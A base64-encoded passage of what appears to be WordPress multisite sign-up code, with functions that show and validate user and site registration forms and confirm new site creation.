ZHJlc3MuCiAqIEBwYXJhbSBXUF9FcnJvcnxzdHJpbmcgJGVycm9ycyAgICAgQSBXUF9FcnJvciBvYmplY3QgY29udGFpbmluZyBleGlzdGluZyBlcnJvcnMuIERlZmF1bHRzIHRvIGVtcHR5IHN0cmluZy4KICovCmZ1bmN0aW9uIHNob3dfdXNlcl9mb3JtKCAkdXNlcl9uYW1lID0gJycsICR1c2VyX2VtYWlsID0gJycsICRlcnJvcnMgPSAnJyApIHsKCWlmICggISBpc193cF9lcnJvciggJGVycm9ycyApICkgewoJCSRlcnJvcnMgPSBuZXcgV1BfRXJyb3IoKTsKCX0KCgkvLyBVc2VybmFtZS4KCWVjaG8gJzxsYWJlbCBmb3I9InVzZXJfbmFtZSI+JyAuIF9fKCAnVXNlcm5hbWU6JyApIC4gJzwvbGFiZWw+JzsKCSRlcnJtc2dfdXNlcm5hbWUgICAgICA9ICRlcnJvcnMtPmdldF9lcnJvcl9tZXNzYWdlKCAndXNlcl9uYW1lJyApOwoJJGVycm1zZ191c2VybmFtZV9hcmlhID0gJyc7CglpZiAoICRlcnJtc2dfdXNlcm5hbWUgKSB7CgkJJGVycm1zZ191c2VybmFtZV9hcmlhID0gJ3dwLXNpZ251cC11c2VybmFtZS1lcnJvciAnOwoJCWVjaG8gJzxwIGNsYXNzPSJlcnJvciIgaWQ9IndwLXNpZ251cC11c2VybmFtZS1lcnJvciI+JyAuICRlcnJtc2dfdXNlcm5hbWUgLiAnPC9wPic7Cgl9Cgk/PgoJPGlucHV0IG5hbWU9InVzZXJfbmFtZSIgdHlwZT0idGV4dCIgaWQ9InVzZXJfbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8gZXNjX2F0dHIoICR1c2VyX25hbWUgKTsgPz4iIGF1dG9jYXBpdGFsaXplPSJub25lIiBhdXRvY29ycmVjdD0ib2ZmIiBtYXhsZW5ndGg9IjYwIiBhdXRvY29tcGxldGU9InVzZXJuYW1lIiByZXF1aXJlZD0icmVxdWlyZWQiIGFyaWEtZGVzY3JpYmVkYnk9Ijw/cGhwIGVjaG8gJGVycm1zZ191c2VybmFtZV9hcmlhOyA/PndwLXNpZ251cC11c2VybmFtZS1kZXNjcmlwdGlvbiIgLz4KCTxwIGlkPSJ3cC1zaWdudXAtdXNlcm5hbWUtZGVzY3JpcHRpb24iPjw/cGhwIF9lKCAnKE11c3QgYmUgYXQgbGVhc3QgNCBjaGFyYWN0ZXJzLCBsb3dlcmNhc2UgbGV0dGVycyBhbmQgbnVtYmVycyBvbmx5LiknICk7ID8+PC9wPgoKCTw/cGhwCgkvLyBFbWFpbCBhZGRyZXNzLgoJZWNobyAnPGxhYmVsIGZvcj0idXNlcl9lbWFpbCI+JyAuIF9fKCAnRW1haWwmbmJzcDtBZGRyZXNzOicgKSAuICc8L2xhYmVsPic7CgkkZXJybXNnX2VtYWlsICAgICAgPSAkZXJyb3JzLT5nZXRfZXJyb3JfbWVzc2FnZSggJ3VzZXJfZW1haWwnICk7CgkkZXJybXNnX2VtYWlsX2FyaWEgPSAnJzsKCWlmICggJGVycm1zZ19lbWFpbCApIHsKCQkkZXJybXNnX2VtYWlsX2FyaWEgPSAnd3Atc2lnbnVwLWVtYWlsLWVycm9yICc7CgkJZWNobyAnPHAgY2xhc3M9ImVycm9yIiBpZD0id3Atc2lnbnVwLWVtYWlsLWVycm9yIj4nIC4gJGVycm1zZ19lbWFpbCAuICc8L3A+JzsKCX0KCT8+Cgk8aW5wdXQgbmFtZT0idXNlcl9lbWFpbCIgdHlwZT0iZW1haWwiIGlkPSJ1c2VyX2VtYWlsIiB2YWx1ZT0iPD9waHAgZWNobyBlc2NfYXR0ciggJHVzZXJfZW1haWwgKTsgPz4iIG1heGxlbmd0aD0iMjAwIiBhdXRvY29tcGxldGU9ImVtYWlsIiByZXF1aXJlZD0icmVxdWlyZWQiIGFyaWEtZGVzY3JpYmVkYnk9Ijw/cGhwIGVjaG8gJGVycm1zZ19lbWFpbF9hcmlhOyA/PndwLXNpZ251cC1lbWFpbC1kZXNjcmlwdGlvbiIgLz4KCTxwIGlkPSJ3cC1zaWdudXAtZW1haWwtZGVzY3JpcHRpb24iPjw/cGhwIF9lKCAnWW91ciByZWdpc3RyYXRpb24gZW1haWwgaXMgc2VudCB0byB0aGlzIGFkZHJlc3MuIChEb3VibGUtY2hlY2sgeW91ciBlbWFpbCBhZGRyZXNzIGJlZm9yZSBjb250aW51aW5nLiknICk7ID8+PC9wPgoKCTw/cGhwCgkvLyBFeHRyYSBmaWVsZHMuCgkkZXJybXNnX2dlbmVyaWMgPSAkZXJyb3JzLT5nZXRfZXJyb3JfbWVzc2FnZSggJ2dlbmVyaWMnICk7CglpZiAoICRlcnJtc2dfZ2VuZXJpYyApIHsKCQllY2hvICc8cCBjbGFzcz0iZXJyb3IiIGlkPSJ3cC1zaWdudXAtZ2VuZXJpYy1lcnJvciI+JyAuICRlcnJtc2dfZ2VuZXJpYyAuICc8L3A+JzsKCX0KCS8qKgoJICogRmlyZXMgYXQgdGhlIGVuZCBvZiB0aGUgbmV3IHVzZXIgYWNjb3VudCByZWdpc3RyYXRpb24gZm9ybS4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqCgkgKiBAcGFyYW0gV1BfRXJyb3IgJGVycm9ycyBBIFdQX0Vycm9yIG9iamVjdCBjb250YWluaW5nICd1c2VyX25hbWUnIG9yICd1c2VyX2VtYWlsJyBlcnJvcnMuCgkgKi8KCWRvX2FjdGlvbiggJ3NpZ251cF9leHRyYV9maWVsZHMnLCAkZXJyb3JzICk7Cn0KCi8qKgogKiBWYWxpZGF0ZXMgdXNlciBzaWduLXVwIG5hbWUgYW5kIGVtYWlsLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAcmV0dXJuIGFycmF5IENvbnRhaW5zIHVzZXJuYW1lLCBlbWFpbCwgYW5kIGVycm9yIG1lc3NhZ2VzLgogKiAgICAgICAgICAgICAgIFNlZSB3cG11X3ZhbGlkYXRlX3VzZXJfc2lnbnVwKCkgZm9yIGRldGFpbHMuCiAqLwpmdW5jdGlvbiB2YWxpZGF0ZV91c2VyX2Zvcm0oKSB7CglyZXR1cm4gd3BtdV92YWxpZGF0ZV91c2VyX3NpZ251cCggJF9QT1NUWyd1c2VyX25hbWUnXSwgJF9QT1NUWyd1c2VyX2VtYWlsJ10gKTsKfQoKLyoqCiAqIFNob3dzIGEgZm9ybSBmb3IgcmV0dXJuaW5nIHVzZXJzIHRvIHNpZ24gdXAgZm9yIGFub3RoZXIgc2l0ZS4KICoKICogQHNpbmNlIE1VICgzLjAuMCkKICoKICogQHBhcmFtIHN0cmluZyAgICAgICAgICAkYmxvZ25hbWUgICBUaGUgbmV3IHNpdGUgbmFtZQogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICRibG9nX3RpdGxlIFRoZSBuZXcgc2l0ZSB0aXRsZS4KICogQHBhcmFtIFdQX0Vycm9yfHN0cmluZyAkZXJyb3JzICAgICBBIFdQX0Vycm9yIG9iamVjdCBjb250YWluaW5nIGV4aXN0aW5nIGVycm9ycy4gRGVmYXVsdHMgdG8gZW1wdHkgc3RyaW5nLgogKi8KZnVuY3Rpb24gc2lnbnVwX2Fub3RoZXJfYmxvZyggJGJsb2duYW1lID0gJycsICRibG9nX3RpdGxlID0gJycsICRlcnJvcnMgPSAnJyApIHsKCSRjdXJyZW50X3VzZXIgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7CgoJaWYgKCAhIGlzX3dwX2Vycm9yKCAkZXJyb3JzICkgKSB7CgkJJGVycm9ycyA9IG5ldyBXUF9FcnJvcigpOwoJfQoKCSRzaWdudXBfZGVmYXVsdHMgPSBhcnJheSgKCQknYmxvZ25hbWUnICAgPT4gJGJsb2duYW1lLAoJCSdibG9nX3RpdGxlJyA9PiAkYmxvZ190aXRsZSwKCQknZXJyb3JzJyAgICAgPT4gJGVycm9ycywKCSk7CgoJLyoqCgkgKiBGaWx0ZXJzIHRoZSBkZWZhdWx0IHNpdGUgc2lnbi11cCB2YXJpYWJsZXMuCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKgoJICogQHBhcmFtIGFycmF5ICRzaWdudXBfZGVmYXVsdHMgewoJICogICAgIEFuIGFycmF5IG9mIGRlZmF1bHQgc2l0ZSBzaWduLXVwIHZhcmlhYmxlcy4KCSAqCgkgKiAgICAgQHR5cGUgc3RyaW5nICAgJGJsb2duYW1lICAgVGhlIHNpdGUgYmxvZ25hbWUuCgkgKiAgICAgQHR5cGUgc3RyaW5nICAgJGJsb2dfdGl0bGUgVGhlIHNpdGUgdGl0bGUuCgkgKiAgICAgQHR5cGUgV1BfRXJyb3IgJGVycm9ycyAgICAgQSBXUF9FcnJvciBvYmplY3QgcG9zc2libHkgY29udGFpbmluZyAnYmxvZ25hbWUnIG9yICdibG9nX3RpdGxlJyBlcnJvcnMuCgkgKiB9CgkgKi8KCSRmaWx0ZXJlZF9yZXN1bHRzID0gYXBwbHlfZmlsdGVycyggJ3NpZ251cF9hbm90aGVyX2Jsb2dfaW5pdCcsICRzaWdudXBfZGVmYXVsdHMgKTsKCgkkYmxvZ25hbWUgICA9ICRmaWx0ZXJlZF9yZXN1bHRzWydibG9nbmFtZSddOwoJJGJsb2dfdGl0bGUgPSAkZmlsdGVyZWRfcmVzdWx0c1snYmxvZ190aXRsZSddOwoJJGVycm9ycyAgICAgPSAkZmlsdGVyZWRfcmVzdWx0c1snZXJyb3JzJ107CgoJLyogdHJhbnNsYXRvcnM6ICVzOiBOZXR3b3JrIHRpdGxlLiAqLwoJZWNobyAnPGgyPicgLiBzcHJpbnRmKCBfXyggJ0dldCA8ZW0+YW5vdGhlcjwvZW0+ICVzIHNpdGUgaW4gc2Vjb25kcycgKSwgZ2V0X25ldHdvcmsoKS0+c2l0ZV9uYW1lICkgLiAnPC9oMj4nOwoKCWlmICggJGVycm9ycy0+aGFzX2Vycm9ycygpICkgewoJCWVjaG8gJzxwPicgLiBfXyggJ1RoZXJlIHdhcyBhIHByb2JsZW0sIHBsZWFzZSBjb3JyZWN0IHRoZSBmb3JtIGJlbG93IGFuZCB0cnkgYWdhaW4uJyApIC4gJzwvcD4nOwoJfQoJPz4KCTxwPgoJCTw/cGhwCgkJcHJpbnRmKAoJCQkvKiB0cmFuc2xhdG9yczogJXM6IEN1cnJlbnQgdXNlcidzIGRpc3BsYXkgbmFtZS4gKi8KCQkJX18oICdXZWxjb21lIGJhY2ssICVzLiBCeSBmaWxsaW5nIG91dCB0aGUgZm9ybSBiZWxvdywgeW91IGNhbiA8c3Ryb25nPmFkZCBhbm90aGVyIHNpdGUgdG8geW91ciBhY2NvdW50PC9zdHJvbmc+LiBUaGVyZSBpcyBubyBsaW1pdCB0byB0aGUgbnVtYmVyIG9mIHNpdGVzIHlvdSBjYW4gaGF2ZSwgc28gY3JlYXRlIHRvIHlvdXIgaGVhcnQmIzgyMTc7cyBjb250ZW50LCBidXQgd3JpdGUgcmVzcG9uc2libHkhJyApLAoJCQkkY3VycmVudF91c2VyLT5kaXNwbGF5X25hbWUKCQkpOwoJCT8+Cgk8L3A+CgoJPD9waHAKCSRibG9ncyA9IGdldF9ibG9nc19vZl91c2VyKCAkY3VycmVudF91c2VyLT5JRCApOwoJaWYgKCAhIGVtcHR5KCAkYmxvZ3MgKSApIHsKCQk/PgoKCQkJPHA+PD9waHAgX2UoICdTaXRlcyB5b3UgYXJlIGFscmVhZHkgYSBtZW1iZXIgb2Y6JyApOyA/PjwvcD4KCQkJPHVsPgoJCQkJPD9waHAKCQkJCWZvcmVhY2ggKCAkYmxvZ3MgYXMgJGJsb2cgKSB7CgkJCQkJJGhvbWVfdXJsID0gZ2V0X2hvbWVfdXJsKCAkYmxvZy0+dXNlcmJsb2dfaWQgKTsKCQkJCQllY2hvICc8bGk+PGEgaHJlZj0iJyAuIGVzY191cmwoICRob21lX3VybCApIC4gJyI+JyAuICRob21lX3VybCAuICc8L2E+PC9saT4nOwoJCQkJfQoJCQkJPz4KCQkJPC91bD4KCTw/cGhwIH0gPz4KCgk8cD48P3BocCBfZSggJ0lmIHlvdSBhcmUgbm90IGdvaW5nIHRvIHVzZSBhIGdyZWF0IHNpdGUgZG9tYWluLCBsZWF2ZSBpdCBmb3IgYSBuZXcgdXNlci4gTm93IGhhdmUgYXQgaXQhJyApOyA/PjwvcD4KCTxmb3JtIGlkPSJzZXR1cGZvcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJ3cC1zaWdudXAucGhwIj4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzdGFnZSIgdmFsdWU9ImdpbW1lYW5vdGhlcmJsb2ciIC8+CgkJPD9waHAKCQkvKioKCQkgKiBGaXJlcyB3aGVuIGhpZGRlbiBzaWduLXVwIGZvcm0gZmllbGRzIG91dHB1dCB3aGVuIGNyZWF0aW5nIGFub3RoZXIgc2l0ZSBvciB1c2VyLgoJCSAqCgkJICogQHNpbmNlIE1VICgzLjAuMCkKCQkgKgoJCSAqIEBwYXJhbSBzdHJpbmcgJGNvbnRleHQgQSBzdHJpbmcgZGVzY3JpYmluZyB0aGUgc3RlcHMgb2YgdGhlIHNpZ24tdXAgcHJvY2Vzcy4gVGhlIHZhbHVlIGNhbiBiZQoJCSAqICAgICAgICAgICAgICAgICAgICAgICAgJ2NyZWF0ZS1hbm90aGVyLXNpdGUnLCAndmFsaWRhdGUtdXNlcicsIG9yICd2YWxpZGF0ZS1zaXRlJy4KCQkgKi8KCQlkb19hY3Rpb24oICdzaWdudXBfaGlkZGVuX2ZpZWxkcycsICdjcmVhdGUtYW5vdGhlci1zaXRlJyApOwoJCT8+CgkJPD9waHAgc2hvd19ibG9nX2Zvcm0oICRibG9nbmFtZSwgJGJsb2dfdGl0bGUsICRlcnJvcnMgKTsgPz4KCQk8cCBjbGFzcz0ic3VibWl0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSI8P3BocCBlc2NfYXR0cl9lKCAnQ3JlYXRlIFNpdGUnICk7ID8+IiAvPjwvcD4KCTwvZm9ybT4KCTw/cGhwCn0KCi8qKgogKiBWYWxpZGF0ZXMgYSBuZXcgc2l0ZSBzaWduLXVwIGZvciBhbiBleGlzdGluZyB1c2VyLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAZ2xvYmFsIHN0cmluZyAgICRibG9nbmFtZSAgIFRoZSBuZXcgc2l0ZSdzIHN1YmRvbWFpbiBvciBkaXJlY3RvcnkgbmFtZS4KICogQGdsb2JhbCBzdHJpbmcgICAkYmxvZ190aXRsZSBUaGUgbmV3IHNpdGUncyB0aXRsZS4KICogQGdsb2JhbCBXUF9FcnJvciAkZXJyb3JzICAgICBFeGlzdGluZyBlcnJvcnMgaW4gdGhlIGdsb2JhbCBzY29wZS4KICogQGdsb2JhbCBzdHJpbmcgICAkZG9tYWluICAgICBUaGUgbmV3IHNpdGUncyBkb21haW4uCiAqIEBnbG9iYWwgc3RyaW5nICAgJHBhdGggICAgICAgVGhlIG5ldyBzaXRlJ3MgcGF0aC4KICoKICogQHJldHVybiBudWxsfGJvb2wgVHJ1ZSBpZiBzaXRlIHNpZ251cCB3YXMgdmFsaWRhdGVkLCBmYWxzZSBvbiBlcnJvci4KICogICAgICAgICAgICAgICAgICAgVGhlIGZ1bmN0aW9uIGhhbHRzIGFsbCBleGVjdXRpb24gaWYgdGhlIHVzZXIgaXMgbm90IGxvZ2dlZCBpbi4KICovCmZ1bmN0aW9uIHZhbGlkYXRlX2Fub3RoZXJfYmxvZ19zaWdudXAoKSB7CglnbG9iYWwgJGJsb2duYW1lLCAkYmxvZ190aXRsZSwgJGVycm9ycywgJGRvbWFpbiwgJHBhdGg7CgkkY3VycmVudF91c2VyID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOwoJaWYgKCAhIGlzX3VzZXJfbG9nZ2VkX2luKCkgKSB7CgkJZGllKCk7Cgl9CgoJJHJlc3VsdCA9IHZhbGlkYXRlX2Jsb2dfZm9ybSgpOwoKCS8vIEV4dHJhY3RlZCB2YWx1ZXMgc2V0L292ZXJ3cml0ZSBnbG9iYWxzLgoJJGRvbWFpbiAgICAgPSAkcmVzdWx0Wydkb21haW4nXTsKCSRwYXRoICAgICAgID0gJHJlc3VsdFsncGF0aCddOwoJJGJsb2duYW1lICAgPSAkcmVzdWx0WydibG9nbmFtZSddOwoJJGJsb2dfdGl0bGUgPSAkcmVzdWx0WydibG9nX3RpdGxlJ107CgkkZXJyb3JzICAgICA9ICRyZXN1bHRbJ2Vycm9ycyddOwoKCWlmICggJGVycm9ycy0+aGFzX2Vycm9ycygpICkgewoJCXNpZ251cF9hbm90aGVyX2Jsb2coICRibG9nbmFtZSwgJGJsb2dfdGl0bGUsICRlcnJvcnMgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CgoJJHB1YmxpYyA9IChpbnQpICRfUE9TVFsnYmxvZ19wdWJsaWMnXTsKCgkkYmxvZ19tZXRhX2RlZmF1bHRzID0gYXJyYXkoCgkJJ2xhbmdfaWQnID0+IDEsCgkJJ3B1YmxpYycgID0+ICRwdWJsaWMsCgkpOwoKCS8vIEhhbmRsZSB0aGUgbGFuZ3VhZ2Ugc2V0dGluZyBmb3IgdGhlIG5ldyBzaXRlLgoJaWYgKCAhIGVtcHR5KCAkX1BPU1RbJ1dQTEFORyddICkgKSB7CgoJCSRsYW5ndWFnZXMgPSBzaWdudXBfZ2V0X2F2YWlsYWJsZV9sYW5ndWFnZXMoKTsKCgkJaWYgKCBpbl9hcnJheSggJF9QT1NUWydXUExBTkcnXSwgJGxhbmd1YWdlcywgdHJ1ZSApICkgewoJCQkkbGFuZ3VhZ2UgPSB3cF91bnNsYXNoKCBzYW5pdGl6ZV90ZXh0X2ZpZWxkKCAkX1BPU1RbJ1dQTEFORyddICkgKTsKCgkJCWlmICggJGxhbmd1YWdlICkgewoJCQkJJGJsb2dfbWV0YV9kZWZhdWx0c1snV1BMQU5HJ10gPSAkbGFuZ3VhZ2U7CgkJCX0KCQl9Cgl9CgoJLyoqCgkgKiBGaWx0ZXJzIHRoZSBuZXcgc2l0ZSBtZXRhIHZhcmlhYmxlcy4KCSAqCgkgKiBVc2UgdGhlIHtAc2VlICdhZGRfc2lnbnVwX21ldGEnfSBmaWx0ZXIgaW5zdGVhZC4KCSAqCgkgKiBAc2luY2UgTVUgKDMuMC4wKQoJICogQGRlcHJlY2F0ZWQgMy4wLjAgVXNlIHRoZSB7QHNlZSAnYWRkX3NpZ251cF9tZXRhJ30gZmlsdGVyIGluc3RlYWQuCgkgKgoJICogQHBhcmFtIGFycmF5ICRibG9nX21ldGFfZGVmYXVsdHMgQW4gYXJyYXkgb2YgZGVmYXVsdCBibG9nIG1ldGEgdmFyaWFibGVzLgoJICovCgkkbWV0YV9kZWZhdWx0cyA9IGFwcGx5X2ZpbHRlcnNfZGVwcmVjYXRlZCggJ3NpZ251cF9jcmVhdGVfYmxvZ19tZXRhJywgYXJyYXkoICRibG9nX21ldGFfZGVmYXVsdHMgKSwgJzMuMC4wJywgJ2FkZF9zaWdudXBfbWV0YScgKTsKCgkvKioKCSAqIEZpbHRlcnMgdGhlIG5ldyBkZWZhdWx0IHNpdGUgbWV0YSB2YXJpYWJsZXMuCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKgoJICogQHBhcmFtIGFycmF5ICRtZXRhIHsKCSAqICAgICBBbiBhcnJheSBvZiBkZWZhdWx0IHNpdGUgbWV0YSB2YXJpYWJsZXMuCgkgKgoJICogICAgIEB0eXBlIGludCAkbGFuZ19pZCAgICAgVGhlIGxhbmd1YWdlIElELgoJICogICAgIEB0eXBlIGludCAkYmxvZ19wdWJsaWMgV2hldGhlciBzZWFyY2ggZW5naW5lcyBzaG91bGQgYmUgZGlzY291cmFnZWQgZnJvbSBpbmRleGluZyB0aGUgc2l0ZS4gMSBmb3IgdHJ1ZSwgMCBmb3IgZmFsc2UuCgkgKiB9CgkgKi8KCSRtZXRhID0gYXBwbHlfZmlsdGVycyggJ2FkZF9zaWdudXBfbWV0YScsICRtZXRhX2RlZmF1bHRzICk7CgoJJGJsb2dfaWQgPSB3cG11X2NyZWF0ZV9ibG9nKCAkZG9tYWluLCAkcGF0aCwgJGJsb2dfdGl0bGUsICRjdXJyZW50X3VzZXItPklELCAkbWV0YSwgZ2V0X2N1cnJlbnRfbmV0d29ya19pZCgpICk7CgoJaWYgKCBpc193cF9lcnJvciggJGJsb2dfaWQgKSApIHsKCQlyZXR1cm4gZmFsc2U7Cgl9CgoJY29uZmlybV9hbm90aGVyX2Jsb2dfc2lnbnVwKCAkZG9tYWluLCAkcGF0aCwgJGJsb2dfdGl0bGUsICRjdXJyZW50X3VzZXItPnVzZXJfbG9naW4sICRjdXJyZW50X3VzZXItPnVzZXJfZW1haWwsICRtZXRhLCAkYmxvZ19pZCApOwoJcmV0dXJuIHRydWU7Cn0KCi8qKgogKiBTaG93cyBhIG1lc3NhZ2UgY29uZmlybWluZyB0aGF0IHRoZSBuZXcgc2l0ZSBoYXMgYmVlbiBjcmVhdGVkLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKiBAc2luY2UgNC40LjAgQWRkZWQgdGhlIGAkYmxvZ19pZGAgcGFyYW1ldGVyLgogKgogKiBAcGFyYW0gc3RyaW5nICRkb21haW4gICAgIFRoZSBkb21haW4gVVJMLgogKiBAcGFyYW0gc3RyaW5nICRwYXRoICAgICAgIFRoZSBzaXRlIHJvb3QgcGF0aC4KICogQHBhcmFtIHN0cmluZyAkYmxvZ190aXRsZSBUaGUgc2l0ZSB0aXRsZS4KICogQHBhcmFtIHN0cmluZyAkdXNlcl9uYW1lICBUaGUgdXNlcm5hbWUuCiAqIEBwYXJhbSBzdHJpbmcgJHVzZXJfZW1haWwgVGhlIHVzZXIncyBlbWFpbCBhZGRyZXNzLgogKiBAcGFyYW0gYXJyYXkgICRtZXRhICAgICAgIEFueSBhZGRpdGlvbmFsIG1ldGEgZnJvbSB0aGUge0BzZWUgJ2FkZF9zaWdudXBfbWV0YSd9IGZpbHRlciBpbiB2YWxpZGF0ZV9ibG9nX3NpZ251cCgpLgogKiBAcGFyYW0gaW50ICAgICRibG9nX2lkICAgIFRoZSBzaXRlIElELgogKi8KZnVuY3Rpb24gY29uZmlybV9hbm90aGVyX2Jsb2dfc2lnbnVwKCAkZG9tYWluLCAkcGF0aCwgJGJsb2dfdGl0bGUsICR1c2VyX25hbWUsICR1c2VyX2VtYWlsID0gJycsICRtZXRhID0gYXJyYXkoKSwgJGJsb2dfaWQgPSAwICkgewoKCWlmICggJGJsb2dfaWQgKSB7CgkJc3dpdGNoX3RvX2Jsb2coICRibG9nX2lkICk7CgkJJGhvbWVfdXJsICA9IGhvbWVfdXJsKCAnLycgKTsKCQkkbG9naW5fdXJsID0gd3BfbG9naW5fdXJsKCk7CgkJcmVzdG9yZV9jdXJyZW50X2Jsb2coKTsKCX0gZWxzZSB7CgkJJGhvbWVfdXJsICA9ICdodHRwOi8vJyAuICRkb21haW4gLiAkcGF0aDsKCQkkbG9naW5fdXJsID0gJ2h0dHA6Ly8nIC4gJGRvbWFpbiAuICRwYXRoIC4gJ3dwLWxvZ2luLnBocCc7Cgl9CgoJJHNpdGUgPSBzcHJpbnRmKAoJCSc8YSBocmVmPSIlMSRzIj4lMiRzPC9hPicsCgkJZXNjX3VybCggJGhvbWVfdXJsICksCgkJJGJsb2dfdGl0bGUKCSk7CgoJPz4KCTxoMj4KCTw/cGhwCgkJLyogdHJhbnNsYXRvcnM6ICVzOiBTaXRlIHRpdGxlLiAqLwoJCXByaW50ZiggX18oICdUaGUgc2l0ZSAlcyBpcyB5b3Vycy4nICksICRzaXRlICk7Cgk/PgoJPC9oMj4KCTxwPgoJCTw/cGhwCgkJcHJpbnRmKAoJCQkvKiB0cmFuc2xhdG9yczogMTogTGluayB0byBuZXcgc2l0ZSwgMjogTG9naW4gVVJMLCAzOiBVc2VybmFtZS4gKi8KCQkJX18oICclMSRzIGlzIHlvdXIgbmV3IHNpdGUuIDxhIGhyZWY9IiUyJHMiPkxvZyBpbjwvYT4gYXMgJiM4MjIwOyUzJHMmIzgyMjE7IHVzaW5nIHlvdXIgZXhpc3RpbmcgcGFzc3dvcmQuJyApLAoJCQlzcHJpbnRmKAoJCQkJJzxhIGhyZWY9IiVzIj4lczwvYT4nLAoJCQkJZXNjX3VybCggJGhvbWVfdXJsICksCgkJCQl1bnRyYWlsaW5nc2xhc2hpdCggJGRvbWFpbiAuICRwYXRoICkKCQkJKSwKCQkJZXNjX3VybCggJGxvZ2luX3VybCApLAoJCQkkdXNlcl9uYW1lCgkJKTsKCQk/PgoJPC9wPgoJPD9waHAKCS8qKgoJICogRmlyZXMgd2hlbiB0aGUgc2l0ZSBvciB1c2VyIHNpZ24tdXAgcHJvY2VzcyBpcyBjb21wbGV0ZS4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqLwoJZG9fYWN0aW9uKCAnc2lnbnVwX2ZpbmlzaGVkJyApOwp9CgovKioKICogU2hvd3MgYSBmb3JtIGZvciBhIHZpc2l0b3IgdG8gc2lnbiB1cCBmb3IgYSBuZXcgdXNlciBhY2NvdW50LgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAZ2xvYmFsIHN0cmluZyAkYWN0aXZlX3NpZ251cCBTdHJpbmcgdGhhdCByZXR1cm5zIHJlZ2lzdHJhdGlvbiB0eXBlLiBUaGUgdmFsdWUgY2FuIGJlCiAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhbGwnLCAnbm9uZScsICdibG9nJywgb3IgJ3VzZXInLgogKgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICR1c2VyX25hbWUgIFRoZSB1c2VybmFtZS4KICogQHBhcmFtIHN0cmluZyAgICAgICAgICAkdXNlcl9lbWFpbCBUaGUgdXNlcidzIGVtYWlsLgogKiBAcGFyYW0gV1BfRXJyb3J8c3RyaW5nICRlcnJvcnMgICAgIEEgV1BfRXJyb3Igb2JqZWN0IGNvbnRhaW5pbmcgZXhpc3RpbmcgZXJyb3JzLiBEZWZhdWx0cyB0byBlbXB0eSBzdHJpbmcuCiAqLwpmdW5jdGlvbiBzaWdudXBfdXNlciggJHVzZXJfbmFtZSA9ICcnLCAkdXNlcl9lbWFpbCA9ICcnLCAkZXJyb3JzID0gJycgKSB7CglnbG9iYWwgJGFjdGl2ZV9zaWdudXA7CgoJaWYgKCAhIGlzX3dwX2Vycm9yKCAkZXJyb3JzICkgKSB7CgkJJGVycm9ycyA9IG5ldyBXUF9FcnJvcigpOwoJfQoKCSRzaWdudXBfZm9yID0gaXNzZXQoICRfUE9TVFsnc2lnbnVwX2ZvciddICkgPyBlc2NfaHRtbCggJF9QT1NUWydzaWdudXBfZm9yJ10gKSA6ICdibG9nJzsKCgkkc2lnbnVwX3VzZXJfZGVmYXVsdHMgPSBhcnJheSgKCQkndXNlcl9uYW1lJyAgPT4gJHVzZXJfbmFtZSwKCQkndXNlcl9lbWFpbCcgPT4gJHVzZXJfZW1haWwsCgkJJ2Vycm9ycycgICAgID0+ICRlcnJvcnMsCgkpOwoKCS8qKgoJICogRmlsdGVycyB0aGUgZGVmYXVsdCB1c2VyIHZhcmlhYmxlcyB1c2VkIG9uIHRoZSB1c2VyIHNpZ24tdXAgZm9ybS4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqCgkgKiBAcGFyYW0gYXJyYXkgJHNpZ251cF91c2VyX2RlZmF1bHRzIHsKCSAqICAgICBBbiBhcnJheSBvZiBkZWZhdWx0IHVzZXIgdmFyaWFibGVzLgoJICoKCSAqICAgICBAdHlwZSBzdHJpbmcgICAkdXNlcl9uYW1lICBUaGUgdXNlciB1c2VybmFtZS4KCSAqICAgICBAdHlwZSBzdHJpbmcgICAkdXNlcl9lbWFpbCBUaGUgdXNlciBlbWFpbCBhZGRyZXNzLgoJICogICAgIEB0eXBlIFdQX0Vycm9yICRlcnJvcnMgICAgIEEgV1BfRXJyb3Igb2JqZWN0IHdpdGggcG9zc2libGUgZXJyb3JzIHJlbGV2YW50IHRvIHRoZSBzaWduLXVwIHVzZXIuCgkgKiB9CgkgKi8KCSRmaWx0ZXJlZF9yZXN1bHRzID0gYXBwbHlfZmlsdGVycyggJ3NpZ251cF91c2VyX2luaXQnLCAkc2lnbnVwX3VzZXJfZGVmYXVsdHMgKTsKCSR1c2VyX25hbWUgICAgICAgID0gJGZpbHRlcmVkX3Jlc3VsdHNbJ3VzZXJfbmFtZSddOwoJJHVzZXJfZW1haWwgICAgICAgPSAkZmlsdGVyZWRfcmVzdWx0c1sndXNlcl9lbWFpbCddOwoJJGVycm9ycyAgICAgICAgICAgPSAkZmlsdGVyZWRfcmVzdWx0c1snZXJyb3JzJ107CgoJPz4KCgk8aDI+Cgk8P3BocAoJCS8qIHRyYW5zbGF0b3JzOiAlczogTmFtZSBvZiB0aGUgbmV0d29yay4gKi8KCQlwcmludGYoIF9fKCAnR2V0IHlvdXIgb3duICVzIGFjY291bnQgaW4gc2Vjb25kcycgKSwgZ2V0X25ldHdvcmsoKS0+c2l0ZV9uYW1lICk7Cgk/PgoJPC9oMj4KCTxmb3JtIGlkPSJzZXR1cGZvcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJ3cC1zaWdudXAucGhwIiBub3ZhbGlkYXRlPSJub3ZhbGlkYXRlIj4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzdGFnZSIgdmFsdWU9InZhbGlkYXRlLXVzZXItc2lnbnVwIiAvPgoJ